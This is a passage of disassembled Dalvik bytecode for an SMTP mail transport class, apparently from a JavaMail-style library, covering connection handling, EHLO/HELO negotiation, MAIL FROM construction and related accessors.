000000BE sget-object v4, SMTPTransport->hexchar:[C
000000C2 and-int/lit8 v3, v3, 0xF
000000C6 aget-char v3, v4, v3
000000CA invoke-virtual StringBuffer->append(C)StringBuffer, v0, v3
:D0
000000D0 add-int/lit8 v1, v1, 0x1
000000D4 goto :A
:D6
000000D6 if-eqz v0, :D0
:DA
000000DA invoke-virtual StringBuffer->append(C)StringBuffer, v0, v3
000000E0 goto :D0
.end method
.method protected checkConnected()V
.registers 3
00000000 invoke-super Transport->isConnected()Z, p0
00000006 move-result v0
00000008 if-nez v0, :1C
:C
0000000C new-instance v0, IllegalStateException
00000010 const-string v1, "Not connected"
00000014 invoke-direct IllegalStateException-><init>(String)V, v0, v1
0000001A throw v0
:1C
0000001C return-void
.end method
.method public declared-synchronized close()V
.registers 5
00000000 monitor-enter p0
:2
00000002 invoke-super Transport->isConnected()Z, p0
:8
00000008 move-result v0
0000000A if-nez v0, :12
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 iget-object v0, p0, SMTPTransport->serverSocket:Socket
00000016 if-eqz v0, :6A
:1A
0000001A const-string v0, "QUIT"
0000001E invoke-virtual SMTPTransport->sendCommand(String)V, p0, v0
00000024 iget-boolean v0, p0, SMTPTransport->quitWait:Z
00000028 if-eqz v0, :6A
:2C
0000002C invoke-virtual SMTPTransport->readServerResponse()I, p0
00000032 move-result v0
00000034 const/16 v1, 0xDD
00000038 if-eq v0, v1, :6A
:3C
0000003C const/4 v1, 0xFFFFFFFFFFFFFFFF
0000003E if-eq v0, v1, :6A
:42
00000042 iget-object v1, p0, SMTPTransport->out:PrintStream
00000046 new-instance v2, StringBuilder
0000004A const-string v3, "DEBUG SMTP: QUIT failed with "
0000004E invoke-direct StringBuilder-><init>(String)V, v2, v3
00000054 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v0
0000005A move-result-object v0
0000005C invoke-virtual StringBuilder->toString()String, v0
00000062 move-result-object v0
00000064 invoke-virtual PrintStream->println(String)V, v1, v0
:6A
0000006A invoke-direct SMTPTransport->closeConnection()V, p0
:70
00000070 goto :E
:72
00000072 move-exception v0
00000074 monitor-exit p0
00000076 throw v0
:78
00000078 move-exception v0
:7A
0000007A invoke-direct SMTPTransport->closeConnection()V, p0
00000080 throw v0
.catchall {:2 .. :8} :72
.catchall {:12 .. :6A} :78
.catchall {:6A .. :70} :72
.catchall {:7A .. :82} :72
.end method
.method public declared-synchronized connect(Socket)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, SMTPTransport->serverSocket:Socket
00000006 invoke-super Transport->connect()V, p0
:C
0000000C monitor-exit p0
0000000E return-void
:10
00000010 move-exception v0
00000012 monitor-exit p0
00000014 throw v0
.catchall {:2 .. :C} :10
.end method
.method protected data()OutputStream
.registers 3
00000000 sget-boolean v0, SMTPTransport->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 const-string v0, "DATA"
00000024 const/16 v1, 0x162
00000028 invoke-direct SMTPTransport->issueSendCommand(String, I)V, p0, v0, v1
0000002E new-instance v0, SMTPOutputStream
00000032 iget-object v1, p0, SMTPTransport->serverOutput:OutputStream
00000036 invoke-direct SMTPOutputStream-><init>(OutputStream)V, v0, v1
0000003C iput-object v0, p0, SMTPTransport->dataStream:SMTPOutputStream
00000040 iget-object v0, p0, SMTPTransport->dataStream:SMTPOutputStream
00000044 return-object v0
.end method
.method protected ehlo(String)Z
.registers 13
00000000 const/16 v10, 0xFA
00000004 const/4 v1, 0x1
00000006 const/4 v2, 0x0
00000008 if-eqz p1, :78
:C
0000000C new-instance v0, StringBuilder
00000010 const-string v3, "EHLO "
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v3
0000001A invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000020 move-result-object v0
00000022 invoke-virtual StringBuilder->toString()String, v0
00000028 move-result-object v0
:2A
0000002A invoke-virtual SMTPTransport->sendCommand(String)V, p0, v0
00000030 invoke-virtual SMTPTransport->readServerResponse()I, p0
00000036 move-result v5
00000038 if-ne v5, v10, :70
:3C
0000003C new-instance v6, BufferedReader
00000040 new-instance v0, StringReader
00000044 iget-object v3, p0, SMTPTransport->lastServerResponse:String
00000048 invoke-direct StringReader-><init>(String)V, v0, v3
0000004E invoke-direct BufferedReader-><init>(Reader)V, v6, v0
00000054 new-instance v0, Hashtable
00000058 invoke-direct Hashtable-><init>()V, v0
0000005E iput-object v0, p0, SMTPTransport->extMap:Hashtable
00000062 move v4, v1
:64
00000064 invoke-virtual BufferedReader->readLine()String, v6
:6A
0000006A move-result-object v0
0000006C if-nez v0, :7E
:70
00000070 if-ne v5, v10, :134
:74
00000074 move v0, v1
:76
00000076 return v0
:78
00000078 const-string v0, "EHLO"
0000007C goto :2A
:7E
0000007E if-eqz v4, :86
:82
00000082 move v4, v2
00000084 goto :64
:86
00000086 invoke-virtual String->length()I, v0
0000008C move-result v3
0000008E const/4 v7, 0x5
00000090 if-lt v3, v7, :64
:94
00000094 const/4 v3, 0x4
00000096 invoke-virtual String->substring(I)String, v0, v3
0000009C move-result-object v3
0000009E const/16 v0, 0x20
000000A2 invoke-virtual String->indexOf(I)I, v3, v0
000000A8 move-result v7
000000AA const-string v0, ""
000000AE if-lez v7, :C8
:B2
000000B2 add-int/lit8 v0, v7, 0x1
000000B6 invoke-virtual String->substring(I)String, v3, v0
000000BC move-result-object v0
000000BE const/4 v8, 0x0
000000C0 invoke-virtual String->substring(I, I)String, v3, v8, v7
000000C6 move-result-object v3
:C8
000000C8 iget-boolean v7, p0, SMTPTransport->debug:Z
000000CC if-eqz v7, :118
:D0
000000D0 iget-object v7, p0, SMTPTransport->out:PrintStream
000000D4 new-instance v8, StringBuilder
000000D8 const-string v9, "DEBUG SMTP: Found extension \""
000000DC invoke-direct StringBuilder-><init>(String)V, v8, v9
000000E2 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v3
000000E8 move-result-object v8
000000EA const-string v9, "\", arg \""
000000EE invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
000000F4 move-result-object v8
000000F6 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v0
000000FC move-result-object v8
000000FE const-string v9, "\""
00000102 invoke-virtual StringBuilder->append(String)StringBuilder, v8, v9
00000108 move-result-object v8
0000010A invoke-virtual StringBuilder->toString()String, v8
00000110 move-result-object v8
00000112 invoke-virtual PrintStream->println(String)V, v7, v8
:118
00000118 iget-object v7, p0, SMTPTransport->extMap:Hashtable
0000011C sget-object v8, Locale->ENGLISH:Locale
00000120 invoke-virtual String->toUpperCase(Locale)String, v3, v8
00000126 move-result-object v3
00000128 invoke-virtual Hashtable->put(Object, Object)Object, v7, v3, v0
:12E
0000012E goto :64
:130
00000130 move-exception v0
00000132 goto :70
:134
00000134 move v0, v2
00000136 goto :76
.catch IOException {:64 .. :6A} :130
.catch IOException {:86 .. :12E} :130
.end method
.method protected finalize()V
.registers 2
00000000 invoke-super Transport->finalize()V, p0
:6
00000006 invoke-direct SMTPTransport->closeConnection()V, p0
:C
0000000C return-void
:E
0000000E move-exception v0
00000010 goto :C
.catch MessagingException {:6 .. :C} :E
.end method
.method protected finishData()V
.registers 3
00000000 sget-boolean v0, SMTPTransport->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 iget-object v0, p0, SMTPTransport->dataStream:SMTPOutputStream
00000024 invoke-virtual SMTPOutputStream->ensureAtBOL()V, v0
0000002A const-string v0, "."
0000002E const/16 v1, 0xFA
00000032 invoke-direct SMTPTransport->issueSendCommand(String, I)V, p0, v0, v1
00000038 return-void
.end method
.method public getExtensionParameter(String)String
.registers 4
00000000 iget-object v0, p0, SMTPTransport->extMap:Hashtable
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return-object v0
:C
0000000C iget-object v0, p0, SMTPTransport->extMap:Hashtable
00000010 sget-object v1, Locale->ENGLISH:Locale
00000014 invoke-virtual String->toUpperCase(Locale)String, p1, v1
0000001A move-result-object v1
0000001C invoke-virtual Hashtable->get(Object)Object, v0, v1
00000022 move-result-object v0
00000024 check-cast v0, String
00000028 goto :A
.end method
.method public declared-synchronized getLastReturnCode()I
.registers 2
00000000 monitor-enter p0
:2
00000002 iget v0, p0, SMTPTransport->lastReturnCode:I
:6
00000006 monitor-exit p0
00000008 return v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized getLastServerResponse()String
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, SMTPTransport->lastServerResponse:String
:6
00000006 monitor-exit p0
00000008 return-object v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized getLocalHost()String
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, SMTPTransport->localHostName:String
00000006 if-eqz v0, :1A
:A
0000000A iget-object v0, p0, SMTPTransport->localHostName:String
0000000E invoke-virtual String->length()I, v0
00000014 move-result v0
00000016 if-gtz v0, :58
:1A
0000001A iget-object v0, p0, SMTPTransport->session:Session
0000001E new-instance v1, StringBuilder
00000022 const-string v2, "mail."
00000026 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000002C iget-object v2, p0, SMTPTransport->name:String
00000030 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000036 move-result-object v1
00000038 const-string v2, ".localhost"
0000003C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000042 move-result-object v1
00000044 invoke-virtual StringBuilder->toString()String, v1
0000004A move-result-object v1
0000004C invoke-virtual Session->getProperty(String)String, v0, v1
00000052 move-result-object v0
00000054 iput-object v0, p0, SMTPTransport->localHostName:String
:58
00000058 iget-object v0, p0, SMTPTransport->localHostName:String
0000005C if-eqz v0, :70
:60
00000060 iget-object v0, p0, SMTPTransport->localHostName:String
00000064 invoke-virtual String->length()I, v0
0000006A move-result v0
0000006C if-gtz v0, :AE
:70
00000070 iget-object v0, p0, SMTPTransport->session:Session
00000074 new-instance v1, StringBuilder
00000078 const-string v2, "mail."
0000007C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000082 iget-object v2, p0, SMTPTransport->name:String
00000086 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000008C move-result-object v1
0000008E const-string v2, ".localaddress"
00000092 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000098 move-result-object v1
0000009A invoke-virtual StringBuilder->toString()String, v1
000000A0 move-result-object v1
000000A2 invoke-virtual Session->getProperty(String)String, v0, v1
000000A8 move-result-object v0
000000AA iput-object v0, p0, SMTPTransport->localHostName:String
:AE
000000AE iget-object v0, p0, SMTPTransport->localHostName:String
000000B2 if-eqz v0, :C6
:B6
000000B6 iget-object v0, p0, SMTPTransport->localHostName:String
000000BA invoke-virtual String->length()I, v0
000000C0 move-result v0
000000C2 if-gtz v0, :118
:C6
000000C6 invoke-static InetAddress->getLocalHost()InetAddress
000000CC move-result-object v0
000000CE invoke-virtual InetAddress->getHostName()String, v0
000000D4 move-result-object v1
000000D6 iput-object v1, p0, SMTPTransport->localHostName:String
000000DA iget-object v1, p0, SMTPTransport->localHostName:String
000000DE if-nez v1, :118
:E2
000000E2 new-instance v1, StringBuilder
000000E6 const-string v2, "["
000000EA invoke-direct StringBuilder-><init>(String)V, v1, v2
000000F0 invoke-virtual InetAddress->getHostAddress()String, v0
000000F6 move-result-object v0
000000F8 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
000000FE move-result-object v0
00000100 const-string v1, "]"
00000104 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000010A move-result-object v0
0000010C invoke-virtual StringBuilder->toString()String, v0
00000112 move-result-object v0
00000114 iput-object v0, p0, SMTPTransport->localHostName:String
:118
00000118 iget-object v0, p0, SMTPTransport->localHostName:String
:11C
0000011C monitor-exit p0
0000011E return-object v0
:120
00000120 move-exception v0
00000122 monitor-exit p0
00000124 throw v0
:126
00000126 move-exception v0
00000128 goto :118
.catch UnknownHostException {:2 .. :118} :126
.catchall {:2 .. :118} :120
.catchall {:118 .. :11C} :120
.end method
.method public declared-synchronized getReportSuccess()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, SMTPTransport->reportSuccess:Z
:6
00000006 monitor-exit p0
00000008 return v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized getSASLRealm()String
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, SMTPTransport->saslRealm:String
00000006 const-string v1, "UNKNOWN"
0000000A if-ne v0, v1, :92
:E
0000000E iget-object v0, p0, SMTPTransport->session:Session
00000012 new-instance v1, StringBuilder
00000016 const-string v2, "mail."
0000001A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000020 iget-object v2, p0, SMTPTransport->name:String
00000024 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000002A move-result-object v1
0000002C const-string v2, ".sasl.realm"
00000030 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000036 move-result-object v1
00000038 invoke-virtual StringBuilder->toString()String, v1
0000003E move-result-object v1
00000040 invoke-virtual Session->getProperty(String)String, v0, v1
00000046 move-result-object v0
00000048 iput-object v0, p0, SMTPTransport->saslRealm:String
0000004C iget-object v0, p0, SMTPTransport->saslRealm:String
00000050 if-nez v0, :92
:54
00000054 iget-object v0, p0, SMTPTransport->session:Session
00000058 new-instance v1, StringBuilder
0000005C const-string v2, "mail."
00000060 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000066 iget-object v2, p0, SMTPTransport->name:String
0000006A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000070 move-result-object v1
00000072 const-string v2, ".saslrealm"
00000076 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000007C move-result-object v1
0000007E invoke-virtual StringBuilder->toString()String, v1
00000084 move-result-object v1
00000086 invoke-virtual Session->getProperty(String)String, v0, v1
0000008C move-result-object v0
0000008E iput-object v0, p0, SMTPTransport->saslRealm:String
:92
00000092 iget-object v0, p0, SMTPTransport->saslRealm:String
:96
00000096 monitor-exit p0
00000098 return-object v0
:9A
0000009A move-exception v0
0000009C monitor-exit p0
0000009E throw v0
.catchall {:2 .. :96} :9A
.end method
.method public declared-synchronized getStartTLS()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, SMTPTransport->useStartTLS:Z
:6
00000006 monitor-exit p0
00000008 return v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized getUseRset()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, SMTPTransport->useRset:Z
:6
00000006 monitor-exit p0
00000008 return v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method protected helo(String)V
.registers 5
00000000 const/16 v2, 0xFA
00000004 if-eqz p1, :2E
:8
00000008 new-instance v0, StringBuilder
0000000C const-string v1, "HELO "
00000010 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000016 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000001C move-result-object v0
0000001E invoke-virtual StringBuilder->toString()String, v0
00000024 move-result-object v0
00000026 invoke-virtual SMTPTransport->issueCommand(String, I)V, p0, v0, v2
:2C
0000002C return-void
:2E
0000002E const-string v0, "HELO"
00000032 invoke-virtual SMTPTransport->issueCommand(String, I)V, p0, v0, v2
00000038 goto :2C
.end method
.method public declared-synchronized isConnected()Z
.registers 4
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-super Transport->isConnected()Z, p0
:A
0000000A move-result v1
0000000C if-nez v1, :14
:10
00000010 monitor-exit p0
00000012 return v0
:14
00000014 iget-boolean v1, p0, SMTPTransport->useRset:Z
00000018 if-eqz v1, :3E
:1C
0000001C const-string v1, "RSET"
00000020 invoke-virtual SMTPTransport->sendCommand(String)V, p0, v1
:26
00000026 invoke-virtual SMTPTransport->readServerResponse()I, p0
0000002C move-result v1
0000002E if-ltz v1, :58
:32
00000032 const/16 v2, 0x1A5
00000036 if-eq v1, v2, :58
:3A
0000003A const/4 v0, 0x1
0000003C goto :10
:3E
0000003E const-string v1, "NOOP"
00000042 invoke-virtual SMTPTransport->sendCommand(String)V, p0, v1
:48
00000048 goto :26
:4A
0000004A move-exception v1
:4C
0000004C invoke-direct SMTPTransport->closeConnection()V, p0
:52
00000052 goto :10
:54
00000054 move-exception v1
00000056 goto :10
:58
00000058 invoke-direct SMTPTransport->closeConnection()V, p0
:5E
0000005E goto :10
:60
00000060 move-exception v1
00000062 goto :10
:64
00000064 move-exception v0
00000066 monitor-exit p0
00000068 throw v0
.catchall {:4 .. :A} :64
.catch Exception {:14 .. :48} :4A
.catchall {:14 .. :48} :64
.catch MessagingException {:4C .. :52} :54
.catchall {:4C .. :52} :64
.catch MessagingException {:58 .. :5E} :60
.catch Exception {:58 .. :5E} :4A
.catchall {:58 .. :5E} :64
.end method
.method public declared-synchronized issueCommand(String, I)V
.registers 5
00000000 monitor-enter p0
:2
00000002 invoke-virtual SMTPTransport->sendCommand(String)V, p0, p1
00000008 invoke-virtual SMTPTransport->readServerResponse()I, p0
0000000E move-result v0
00000010 if-eq v0, p2, :2A
:14
00000014 new-instance v0, MessagingException
00000018 iget-object v1, p0, SMTPTransport->lastServerResponse:String
0000001C invoke-direct MessagingException-><init>(String)V, v0, v1
00000022 throw v0
:24
00000024 move-exception v0
00000026 monitor-exit p0
00000028 throw v0
:2A
0000002A monitor-exit p0
0000002C return-void
.catchall {:2 .. :24} :24
.end method
.method protected mailFrom()V
.registers 8
00000000 const/4 v2, 0x0
00000002 iget-object v0, p0, SMTPTransport->message:MimeMessage
00000006 instance-of v0, v0, SMTPMessage
0000000A if-eqz v0, :33A
:E
0000000E iget-object v0, p0, SMTPTransport->message:MimeMessage
00000012 check-cast v0, SMTPMessage
00000016 invoke-virtual SMTPMessage->getEnvelopeFrom()String, v0
0000001C move-result-object v0
:1E
0000001E if-eqz v0, :2E
:22
00000022 invoke-virtual String->length()I, v0
00000028 move-result v1
0000002A if-gtz v1, :68
:2E
0000002E iget-object v0, p0, SMTPTransport->session:Session
00000032 new-instance v1, StringBuilder
00000036 const-string v3, "mail."
0000003A invoke-direct StringBuilder-><init>(String)V, v1, v3
00000040 iget-object v3, p0, SMTPTransport->name:String
00000044 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v3
0000004A move-result-object v1
0000004C const-string v3, ".from"
00000050 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v3
00000056 move-result-object v1
00000058 invoke-virtual StringBuilder->toString()String, v1
0000005E move-result-object v1
00000060 invoke-virtual Session->getProperty(String)String, v0, v1
00000066 move-result-object v0
:68
00000068 if-eqz v0, :78
:6C
0000006C invoke-virtual String->length()I, v0
00000072 move-result v1
00000074 if-gtz v1, :AC
:78
00000078 iget-object v0, p0, SMTPTransport->message:MimeMessage
0000007C if-eqz v0, :2BA
:80
00000080 iget-object v0, p0, SMTPTransport->message:MimeMessage
00000084 invoke-virtual MimeMessage->getFrom()[Address, v0
0000008A move-result-object v0
0000008C if-eqz v0, :2BA
:90
00000090 array-length v1, v0
00000092 if-lez v1, :2BA
:96
00000096 const/4 v1, 0x0
00000098 aget-object v0, v0, v1
:9C
0000009C if-eqz v0, :2CA
:A0
000000A0 check-cast v0, InternetAddress
000000A4 invoke-virtual InternetAddress->getAddress()String, v0
000000AA move-result-object v0
:AC
000000AC new-instance v1, StringBuilder
000000B0 const-string v3, "MAIL FROM:"
000000B4 invoke-direct StringBuilder-><init>(String)V, v1, v3
000000BA invoke-direct SMTPTransport->normalizeAddress(String)String, p0, v0
000000C0 move-result-object v0
000000C2 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
000000C8 move-result-object v0
000000CA invoke-virtual StringBuilder->toString()String, v0
000000D0 move-result-object v1
000000D2 const-string v0, "DSN"
000000D6 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v0
000000DC move-result v0
000000DE if-eqz v0, :170
:E2
000000E2 iget-object v0, p0, SMTPTransport->message:MimeMessage
000000E6 instance-of v0, v0, SMTPMessage
000000EA if-eqz v0, :334
:EE
000000EE iget-object v0, p0, SMTPTransport->message:MimeMessage
000000F2 check-cast v0, SMTPMessage
000000F6 invoke-virtual SMTPMessage->getDSNRet()String, v0
000000FC move-result-object v0
:FE
000000FE if-nez v0, :13C
:102
00000102 iget-object v0, p0, SMTPTransport->session:Session
00000106 new-instance v3, StringBuilder
0000010A const-string v4, "mail."
0000010E invoke-direct StringBuilder-><init>(String)V, v3, v4
00000114 iget-object v4, p0, SMTPTransport->name:String
00000118 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
0000011E move-result-object v3
00000120 const-string v4, ".dsn.ret"
00000124 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
0000012A move-result-object v3
0000012C invoke-virtual StringBuilder->toString()String, v3
00000132 move-result-object v3
00000134 invoke-virtual Session->getProperty(String)String, v0, v3
0000013A move-result-object v0
:13C
0000013C if-eqz v0, :170
:140
00000140 new-instance v3, StringBuilder
00000144 invoke-static String->valueOf(Object)String, v1
0000014A move-result-object v1
0000014C invoke-direct StringBuilder-><init>(String)V, v3, v1
00000152 const-string v1, " RET="
00000156 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v1
0000015C move-result-object v1
0000015E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
00000164 move-result-object v0
00000166 invoke-virtual StringBuilder->toString()String, v0
0000016C move-result-object v0
0000016E move-object v1, v0
:170
00000170 const-string v0, "AUTH"
00000174 invoke-virtual SMTPTransport->supportsExtension(String)Z, p0, v0
0000017A move-result v0
0000017C if-eqz v0, :216
:180
00000180 iget-object v0, p0, SMTPTransport->message:MimeMessage
00000184 instance-of v0, v0, SMTPMessage
00000188 if-eqz v0, :32E
:18C
0000018C iget-object v0, p0, SMTPTransport->message:MimeMessage
00000190 check-cast v0, SMTPMessage
00000194 invoke-virtual SMTPMessage->getSubmitter()String, v0
0000019A move-result-object v0
:19C
0000019C if-nez v0, :328
:1A0
000001A0 iget-object v0, p0, SMTPTransport->session:Session
000001A4 new-instance v3, StringBuilder
000001A8 const-string v4, "mail."
000001AC invoke-direct StringBuilder-><init>(String)V, v3, v4
000001B2 iget-object v4, p0, SMTPTransport->name:String
000001B6 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
000001BC move-result-object v3
000001BE const-string v4, ".submitter"
000001C2 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
000001C8 move-result-object v3
000001CA invoke-virtual StringBuilder->toString()String, v3
000001D0 move-result-object v3
000001D2 invoke-virtual Session->getProperty(String)String, v0, v3
000001D8 move-result-object v0
000001DA move-object v3, v0
:1DC
000001DC if-eqz v3, :216
:1E0
000001E0 invoke-static SMTPTransport->xtext(String)String, v3
000001E6 move-result-object v0
000001E8 new-instance v4, StringBuilder
000001EC invoke-static String->valueOf(Object)String, v1
000001F2 move-result-object v5
000001F4 invoke-direct StringBuilder-><init>(String)V, v4, v5
000001FA const-string v5, " AUTH="
000001FE invoke-virtual StringBuilder->append(String)StringBuilder, v4, v5
00000204 move-result-object v4
00000206 invoke-virtual StringBuilder->append(String)StringBuilder, v4, v0
0000020C move-result-object v0
0000020E invoke-virtual StringBuilder->toString()String, v0
:214
00000214 move-result-object v1
:216
00000216 iget-object v0, p0, SMTPTransport->message:MimeMessage
0000021A instance-of v0, v0, SMTPMessage
0000021E if-eqz v0, :324
:222
00000222 iget-object v0, p0, SMTPTransport->message:MimeMessage
00000226 check-cast v0, SMTPMessage
0000022A invoke-virtual SMTPMessage->getMailExtension()String, v0
00000230 move-result-object v0
:232
00000232 if-nez v0, :270
:236
00000236 iget-object v0, p0, SMTPTransport->session:Session
0000023A new-instance v2, StringBuilder
0000023E const-string v3, "mail."
00000242 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000248 iget-object v3, p0, SMTPTransport->name:String
0000024C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000252 move-result-object v2
00000254 const-string v3, ".mailextension"
00000258 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000025E move-result-object v2
00000260 invoke-virtual StringBuilder->toString()String, v2
00000266 move-result-object v2
00000268 invoke-virtual Session->getProperty(String)String, v0, v2
0000026E move-result-object v0
:270
00000270 if-eqz v0, :2AE
:274
00000274 invoke-virtual String->length()I, v0
0000027A move-result v2
0000027C if-lez v2, :2AE
:280
00000280 new-instance v2, StringBuilder
00000284 invoke-static String->valueOf(Object)String, v1
0000028A move-result-object v1
0000028C invoke-direct StringBuilder-><init>(String)V, v2, v1
00000292 const-string v1, " "
00000296 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000029C move-result-object v1
0000029E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
000002A4 move-result-object v0
000002A6 invoke-virtual StringBuilder->toString()String, v0
000002AC move-result-object v1
:2AE
000002AE const/16 v0, 0xFA
000002B2 invoke-direct SMTPTransport->issueSendCommand(String, I)V, p0, v1, v0
000002B8 return-void
:2BA
000002BA iget-object v0, p0, SMTPTransport->session:Session
000002BE invoke-static InternetAddress->getLocalAddress(Session)InternetAddress, v0
000002C4 move-result-object v0
000002C6 goto/16 :9C
:2CA
000002CA new-instance v0, MessagingException
000002CE const-string v1, "can\'t determine local email address"
000002D2 invoke-direct MessagingException-><init>(String)V, v0, v1
000002D8 throw v0
:2DA
000002DA move-exception v0
000002DC iget-boolean v4, p0, SMTPTransport->debug:Z
000002E0 if-eqz v4, :216
:2E4
000002E4 iget-object v4, p0, SMTPTransport->out:PrintStream
000002E8 new-instance v5, StringBuilder
000002EC const-string v6, "DEBUG SMTP: ignoring invalid submitter: "
000002F0 invoke-direct StringBuilder-><init>(String)V, v5, v6
000002F6 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v3
000002FC move-result-object v3
000002FE const-string v5, ", Exception: "
00000302 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v5
00000308 move-result-object v3
0000030A invoke-virtual StringBuilder->append(Object)StringBuilder, v3, v0
00000310 move-result-object v0
00000312 invoke-virtual StringBuilder->toString()String, v0
00000318 move-result-object v0
0000031A invoke-virtual PrintStream->println(String)V, v4, v0
00000320 goto/16 :216
:324
00000324 move-object v0, v2
00000326 goto :232
:328
00000328 move-object v3, v0
0000032A goto/16 :1DC
:32E
0000032E move-object v0, v2
00000330 goto/16 :19C
:334
00000334 move-object v0, v2
00000336 goto/16 :FE
:33A
0000033A move-object v0, v2
0000033C goto/16 :1E
.catch IllegalArgumentException {:1E0 .. :214} :2DA
.end method
.method protected protocolConnect(String, I, String, String)Z
.registers 13
00000000 iget-object v0, p0, SMTPTransport->session:Session
00000004 new-instance v1, StringBuilder
00000008 const-string v2, "mail."
0000000C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000012 iget-object v2, p0, SMTPTransport->name:String
00000016 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000001C move-result-object v1
0000001E const-string v2, ".ehlo"
00000022 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000028 move-result-object v1
0000002A invoke-virtual StringBuilder->toString()String, v1
00000030 move-result-object v1
00000032 invoke-virtual Session->getProperty(String)String, v0, v1
00000038 move-result-object v0
0000003A if-eqz v0, :F6
:3E
0000003E const-string v1, "false"
00000042 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000048 move-result v0
0000004A if-eqz v0, :F6
:4E
0000004E const/4 v0, 0x0
:50
00000050 iget-object v1, p0, SMTPTransport->session:Session
00000054 new-instance v2, StringBuilder
00000058 const-string v3, "mail."
0000005C invoke-direct StringBuilder-><init>(String)V, v2, v3
00000062 iget-object v3, p0, SMTPTransport->name:String
00000066 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
0000006C move-result-object v2
0000006E const-string v3, ".auth"
00000072 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000078 move-result-object v2
0000007A invoke-virtual StringBuilder->toString()String, v2
00000080 move-result-object v2
00000082 invoke-virtual Session->getProperty(String)String, v1, v2
00000088 move-result-object v1
0000008A if-eqz v1, :FA
:8E
0000008E const-string v2, "true"
00000092 invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
00000098 move-result v1
0000009A if-eqz v1, :FA
:9E
0000009E const/4 v1, 0x1
000000A0 move v2, v1
:A2
000000A2 iget-boolean v1, p0, SMTPTransport->debug:Z
000000A6 if-eqz v1, :E6
:AA
000000AA iget-object v1, p0, SMTPTransport->out:PrintStream
000000AE new-instance v3, StringBuilder
000000B2 const-string v4, "DEBUG SMTP: useEhlo "
000000B6 invoke-direct StringBuilder-><init>(String)V, v3, v4
000000BC invoke-virtual StringBuilder->append(Z)StringBuilder, v3, v0
000000C2 move-result-object v3
000000C4 const-string v4, ", useAuth "
000000C8 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v4
000000CE move-result-object v3
000000D0 invoke-virtual StringBuilder->append(Z)StringBuilder, v3, v2
000000D6 move-result-object v3
000000D8 invoke-virtual StringBuilder->toString()String, v3
